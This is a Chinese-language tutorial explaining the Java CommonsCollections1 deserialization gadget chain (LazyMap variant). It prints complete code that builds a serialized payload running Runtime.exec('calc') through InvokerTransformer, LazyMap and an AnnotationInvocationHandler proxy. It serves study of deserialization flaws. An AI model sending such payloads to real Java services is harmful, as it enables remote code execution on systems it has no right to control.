jdk版本:1.7.0_80
commons-collections-3.2
// ObjectInputStream.readObject()
// AnnotationInvocationHandler.readObject()
// Map(Proxy).entrySet()
// AnnotationInvocationHandler.invoke()
// LazyMap.get()
// ChainedTransformer.transform()
// ConstantTransformer.transform()
// InvokerTransformer.transform()
// Method.invoke()
// Class.getMethod()
// InvokerTransformer.transform()
// Method.invoke()
// Runtime.getRuntime()
// InvokerTransformer.transform()
// Method.invoke()
// Runtime.exec()
//
LazyMap危险方法执行链和TransformedMap的一样,调用InvokerTransformer.transform方法。具体代码如下
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer C = new ChainedTransformer(Transformer);
LazyMap的get()方法调用了this.factory.transform()方法,且this.factory为构造LazyMap时传入的Transformer对象。因此我们可以把构造好的ChainedTransformer对象在构造LazyMap中传入,并想办法调用LazyMap的get()方法。
AnnotionInvocationHandler.invoke()中有调用this.memberValues.get()方法。在TransformedMap链中提到过this.memberValues可控,可在构造AnnotionInvocationHandler传入。
在此我们可以通过动态代理的方式调用invoke方法。动态代理调用代理对象的任意方法时,都会执行调用处理程序(InvocationHandler)的invoke方法,AnnotionInvocationHandler刚好是一个调用处理程序。因此可以创建一个动态代理对象,并把装载LazyMap的AnnotionInvocationHandler作为代理对象的调用处理程序。结合上面的危险方法执行链,具体构造如下
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer C = new ChainedTransformer(Transformer);HashMap <Object,Object> a = new HashMap<>();
Map map = LazyMap.decorate(a,C);
Class anclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = anclass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,map);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), HashMap.class.getInterfaces(),invocationHandler);
在生成LazyMap时,将危险函数执行链传入。通过反射生成AnnotionInvocationHandler,并将LazyMap传入。构造Map类型的动态代理对象,传入三个参数,第一个为代理目标的类加载器,第二个为代理目标的接口,第三个为调用处理程序,在第三个参数中传入AnnotionInvocationHandler。此时代理对象proxyMap执行任何方法时,都会触发AnnotionInvocationHandler执行Invoke方法。
AnnotationInvocationHandler.readObject中存在对this.memberValues对象的方法调用。
把代理对象proxyMap作为AnnotationInvocationHandler的this.memberValues,反序列化时在AnnotationInvocationHandler.readObject中使proxyMap执行entrySet()方法,触发调用处理程序AnnotionInvocationHandler执行AnnotionInvocationHandler.Invoke(),在Invoke中LazyMap的get方法。根据以上描述构造payload如下
// private void cc1_lazymap() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
// Transformer[] Transformer = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
//
// };
// ChainedTransformer C = new ChainedTransformer(Transformer);
//
// HashMap <Object,Object> a = new HashMap<>();
//
// Map map = LazyMap.decorate(a,C);
//
// //反射生成AnnotationInvocationHandler对象
// Class anclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor constructor = anclass.getDeclaredConstructor(Class.class,Map.class);
// constructor.setAccessible(true);
// //LazyMap装入AnnotationInvocationHandler中
// InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,map);
// //创建代理对象,并指定调用处理程序为AnnotationInvocationHandler
// Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), HashMap.class.getInterfaces(),invocationHandler);
//
// //代理对象proxyMap装入AnnotationInvocationHandler2中
// InvocationHandler invocationHandler2 =(InvocationHandler) constructor.newInstance(Target.class,proxyMap);
//
//
// //序列化
// ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("a.bin"));
// outputStream.writeObject(invocationHandler2);
// //反序列化
// ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("a.bin"));
// inputStream.readObject();
反序列化时调用AnnotationInvocationHandler.readObject,在readObject中代理对象执行entrySet方法。
调用entrySet时触发调用处理程序,执行AnnotationInvocationHandler.Invoke()
在Invoke()中执行LazyMap.get()
LazyMap.get()中执行transform()方法,后续调用Transform[]危险方法执行链,完成危险方法调用。